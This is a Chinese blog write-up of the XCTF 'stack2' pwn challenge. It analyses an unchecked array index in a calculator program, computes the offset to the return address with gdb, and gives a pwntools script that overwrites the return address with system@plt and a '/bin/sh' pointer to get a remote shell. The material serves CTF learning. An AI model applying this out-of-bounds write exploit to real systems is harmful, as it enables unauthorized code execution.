攻防世界pwn题--stack2

本文详细分析了一个存在栈溢出漏洞的程序,指出由于缺少对变量v5的边界检查,导致可以修改任意内存地址。通过选择程序的特定选项,可以控制返回地址,从而执行任意代码。博主通过调试确定了数组v13的地址,并编写了exploit脚本来利用此漏洞,最终获取shell。文章揭示了栈溢出攻击的隐蔽性和危害,并展示了利用过程。
摘要由CSDN通过智能技术生成

查看保护机制 (有栈不可执行NX,有canary保护)

在这里插入图片描述

用IDA分析(查看伪代码)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);                   // canary
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

太菜了,看了老半天没看出来,漏洞在哪,网上找了找大佬博客,本题的栈溢出并不是常规的read这种输入输出流,而是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。在第三个选项,change number里v13定义为char v13[100],但是在这里并没有边界的检查导致栈溢出。
在这里插入图片描述
在这里插入图片描述

而且发现存在后门函数(地址为:0x0804859B)

在这里插入图片描述

因为程序在一开始会给数组赋初值,并且这个过程是我们可以参与的。 考虑到一般的数组赋值会从首位开始,我们可以猜想,如果我们知道我们写入程序的第一个数据的存储位置是否我们就知道了数组的首地址?
那么首先,我们来求这个地址
程序一开始会给数组赋值,我们来看一下这一块的伪代码和汇编

原理很清楚,只要选changenumber就可以修改任意地址的数据,我们只要找到v13数据距离ret的距离,就可以获取shell。

经过下面的调试,可以发现ebp=v13+0x70,ret=v13+0x84。由于程序中虽然有函数hackhere可以让我们获取到system的plt,但是他的参数不是/bin/sh,所以需要自己填返回地址和参数。

首先要知道v13数组的一个参数存放的位置:

在这里插入图片描述在这里插入图片描述
从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eax和ecx将数据存储到eax中存放的地址中去(cl是ecx的低位)
那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址 linux下我们用gdb调试的看一下
我们在0x080486D5的位置下个断点,输入点全部输入1(如下)

在这里插入图片描述

查看此时的各寄存器

在这里插入图片描述

看出eax中存放的地址,可以看到是0xffffd148

接下来查看当程序运行结束后esp指向的地址即为返回地址:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yxcgpzvH-1635687097164)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20211031210057888.png)]
在0x080488f2出下断点,查看寄存器esp中的值:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QpJ7aFNY-1635687097165)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20211031212453873.png)]
可以看到esp中的地址为0xffffd1cc, 所以得到距离为:0xffffd1cc-0xffffd148 = 0x84

现在能控制返回地址(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987),只要主程序返回即可进入我们挟持的程序执行流。

编写exp.py

from pwn import *
def send_num(addr,num):
     io.sendlineafter("5. exit","3")
     io.sendlineafter("which number to change:",str(addr))
     io.sendlineafter("new number:",str(num))
io=remote("111.200.241.244",58388)
io.sendlineafter("you have:","1")
io.sendlineafter("your numbers","1")
send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)
io.sendline("5")
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值